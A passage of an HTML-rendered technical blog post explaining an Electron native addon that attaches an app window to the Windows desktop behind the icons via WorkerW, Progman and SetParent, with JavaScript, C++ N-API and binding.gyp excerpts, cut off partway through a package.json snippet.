&lt;figure class=&#34;highlight javascript&#34;&gt;&lt;figcaption data-lang=&#34;javascript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; bindings &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;require&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;bindings&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;electron-addtoDesktop&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;token function-variable function&#34;&gt;attach&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token parameter&#34;&gt;win&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;=&gt;&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token keyword&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;win &lt;span class=&#34;token operator&#34;&gt;===&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;undefined&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;        &lt;span class=&#34;token keyword&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;Error&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;You need to pass a window&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token keyword&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token keyword&#34;&gt;typeof&lt;/span&gt; win&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;getNativeWindowHandle &lt;span class=&#34;token operator&#34;&gt;!==&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#34;function&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;8&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;        &lt;span class=&#34;token keyword&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;Error&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;You need to pass a window of type Electron.BrowserWindow&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;9&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;10&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    bindings&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;attach&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;win&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;getNativeWindowHandle&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;11&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;a href=&#34;https://www.electronjs.org/docs/latest/api/browser-window#wingetnativewindowhandle&#34;&gt; &lt;code&gt;getNativeWindowHandle()&lt;/code&gt; &lt;/a&gt; returns a  &lt;code&gt;Buffer&lt;/code&gt;  containing an  &lt;code&gt;HWND&lt;/code&gt;  on Windows. Passing it through directly avoids converting a native handle to an ordinary JavaScript number.&lt;/p&gt;
&lt;p&gt;On the C++ side,  &lt;code&gt;node-addon-api&lt;/code&gt;  receives the argument:&lt;/p&gt;
&lt;figure class=&#34;highlight cpp&#34;&gt;&lt;figcaption data-lang=&#34;C++&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;Napi&lt;span class=&#34;token double-colon punctuation&#34;&gt;::&lt;/span&gt;Buffer&lt;span class=&#34;token operator&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;token keyword&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;&gt;&lt;/span&gt; wndHandle &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; info&lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token number&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token generic-function&#34;&gt;&lt;span class=&#34;token function&#34;&gt;As&lt;/span&gt;&lt;span class=&#34;token generic class-name&#34;&gt;&lt;span class=&#34;token operator&#34;&gt;&amp;lt;&lt;/span&gt;Napi&lt;span class=&#34;token double-colon punctuation&#34;&gt;::&lt;/span&gt;Buffer&lt;span class=&#34;token operator&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;token keyword&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;HWND win &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token generic-function&#34;&gt;&lt;span class=&#34;token function&#34;&gt;static_cast&lt;/span&gt;&lt;span class=&#34;token generic class-name&#34;&gt;&lt;span class=&#34;token operator&#34;&gt;&amp;lt;&lt;/span&gt;HWND&lt;span class=&#34;token operator&#34;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token operator&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;token generic-function&#34;&gt;&lt;span class=&#34;token function&#34;&gt;reinterpret_cast&lt;/span&gt;&lt;span class=&#34;token generic class-name&#34;&gt;&lt;span class=&#34;token operator&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;token keyword&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;wndHandle&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;Data&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;That gives us the  &lt;code&gt;HWND&lt;/code&gt;  needed by the Windows API. The data flow is:&lt;/p&gt;
&lt;figure class=&#34;highlight text&#34;&gt;&lt;figcaption data-lang=&#34;text&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;BrowserWindow → getNativeWindowHandle() → Buffer → HWND&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;code&gt;detach&lt;/code&gt;  passes the handle the same way, to a different native function.&lt;/p&gt;
&lt;span id=&#34;找到桌面窗口&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;finding-the-desktop-window&#34; data-section=&#34;找到桌面窗口&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#finding-the-desktop-window&#34;&gt;#&lt;/a&gt; Finding the desktop window&lt;/h2&gt;
&lt;p&gt;With the handle in hand, we need to decide where to attach the window. Three Windows shell class names matter here. A window can act as a container for controls or other windows without having a visible title bar.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Progman&lt;/code&gt;  is the Program Manager window class. The code starts here when looking for a suitable parent.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WorkerW&lt;/code&gt;  is a shell worker window class that can host desktop content. There can be several windows of this class.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SHELLDLL_DefView&lt;/code&gt;  is the shell folder view class. On the desktop it hosts the icon view; its presence tells us which worker contains the icons.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The extension looks for the worker that contains the icon view and makes the app window its child. The &lt;a href=&#34;https://github.com/lively-community/lively/discussions/3004&#34;&gt;desktop window hierarchy can vary between Windows versions&lt;/a&gt;. This is the arrangement used by this project.&lt;/p&gt;
&lt;p&gt;First the code finds  &lt;code&gt;Progman&lt;/code&gt; . Then it calls  &lt;code&gt;EnumWindows&lt;/code&gt;  to enumerate top-level windows, looking for a  &lt;code&gt;WorkerW&lt;/code&gt;  with a  &lt;code&gt;SHELLDLL_DefView&lt;/code&gt;  child. If it can’t find one, the previously located  &lt;code&gt;Progman&lt;/code&gt;  remains the target.&lt;/p&gt;
&lt;p&gt;When it does find a suitable worker, the hierarchy after attachment looks like this:&lt;/p&gt;
&lt;figure class=&#34;highlight text&#34;&gt;&lt;figcaption data-lang=&#34;text&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;WorkerW&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;├─ Electron window&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;└─ SHELLDLL_DefView&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;Progman&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Once the target is known, attachment takes one call:&lt;/p&gt;
&lt;figure class=&#34;highlight cpp&#34;&gt;&lt;figcaption data-lang=&#34;C++&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;SetParent&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;win&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; insert_hWnd&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;To detach, pass  &lt;code&gt;NULL&lt;/code&gt;  as the second argument to &lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setparent&#34;&gt; &lt;code&gt;SetParent&lt;/code&gt; &lt;/a&gt;. This makes the desktop window the new parent:&lt;/p&gt;
&lt;figure class=&#34;highlight cpp&#34;&gt;&lt;figcaption data-lang=&#34;C++&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;SetParent&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;win&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;token constant&#34;&gt;NULL&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;This releases the window from the selected  &lt;code&gt;WorkerW&lt;/code&gt;  or  &lt;code&gt;Progman&lt;/code&gt; . The extension doesn’t save and restore every aspect of the old window state. The application is responsible for subsequent layout.&lt;/p&gt;
&lt;p&gt;Finally the module exposes the functions to JavaScript:&lt;/p&gt;
&lt;figure class=&#34;highlight cpp&#34;&gt;&lt;figcaption data-lang=&#34;C++&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;Napi&lt;span class=&#34;token double-colon punctuation&#34;&gt;::&lt;/span&gt;Object &lt;span class=&#34;token function&#34;&gt;Init&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;Napi&lt;span class=&#34;token double-colon punctuation&#34;&gt;::&lt;/span&gt;Env env&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; Napi&lt;span class=&#34;token double-colon punctuation&#34;&gt;::&lt;/span&gt;Object exports&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    exports&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;Set&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;attach&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; Napi&lt;span class=&#34;token double-colon punctuation&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;token class-name&#34;&gt;Function&lt;/span&gt;&lt;span class=&#34;token double-colon punctuation&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;New&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;env&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; Attach&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    exports&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;Set&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;detach&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; Napi&lt;span class=&#34;token double-colon punctuation&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;token class-name&#34;&gt;Function&lt;/span&gt;&lt;span class=&#34;token double-colon punctuation&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;New&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;env&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; Detach&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token keyword&#34;&gt;return&lt;/span&gt; exports&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;8&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;NODE_API_MODULE&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;addtoDesktop&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; Init&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;The two exports correspond to  &lt;code&gt;bindings.attach()&lt;/code&gt;  and  &lt;code&gt;bindings.detach()&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;编译和调用&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;building-and-calling-the-extension&#34; data-section=&#34;编译和调用&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#building-and-calling-the-extension&#34;&gt;#&lt;/a&gt; Building and calling the extension&lt;/h2&gt;
&lt;span id=&#34;编译配置&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;build-configuration&#34; data-section=&#34;编译配置&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#build-configuration&#34;&gt;#&lt;/a&gt; Build configuration&lt;/h3&gt;
&lt;p&gt;The main parts of  &lt;code&gt;binding.gyp&lt;/code&gt;  specify the target, source file and dependency on  &lt;code&gt;node-addon-api&lt;/code&gt; :&lt;/p&gt;
&lt;figure class=&#34;highlight json&#34;&gt;&lt;figcaption data-lang=&#34;JSON&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token property&#34;&gt;&#34;targets&#34;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token property&#34;&gt;&#34;target_name&#34;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#34;electron-addtoDesktop&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token property&#34;&gt;&#34;sources&#34;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;lib/addtoDesktop.cpp&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token property&#34;&gt;&#34;include_dirs&#34;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;      &lt;span class=&#34;token string&#34;&gt;&#34;&amp;lt;!@(node -p \&#34;require(&#39;node-addon-api&#39;).include\&#34;)&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;8&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token property&#34;&gt;&#34;dependencies&#34;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;9&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;      &lt;span class=&#34;token string&#34;&gt;&#34;&amp;lt;!(node -p \&#34;require(&#39;node-addon-api&#39;).gyp\&#34;)&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;10&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;11&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token property&#34;&gt;&#34;defines&#34;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;NAPI_DISABLE_CPP_EXCEPTIONS&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;12&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;13&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;This is an excerpt; the full configuration is in the repository. The target name,  &lt;code&gt;electron-addtoDesktop&lt;/code&gt; , must match the name passed to  &lt;code&gt;bindings&lt;/code&gt; . The npm package name is lowercase:  &lt;code&gt;electron-addtodesktop&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;The install script is in  &lt;code&gt;package.json&lt;/code&gt; :&lt;/p&gt;
&lt;figure class=&#34;highlight json&#34;&gt;&lt;figcaption data-lang=&#34;JSON&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token property&#34;&gt;&#34;main&#34;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#34;index.js&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token property&#34;&gt;&#34;scripts&#34;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token 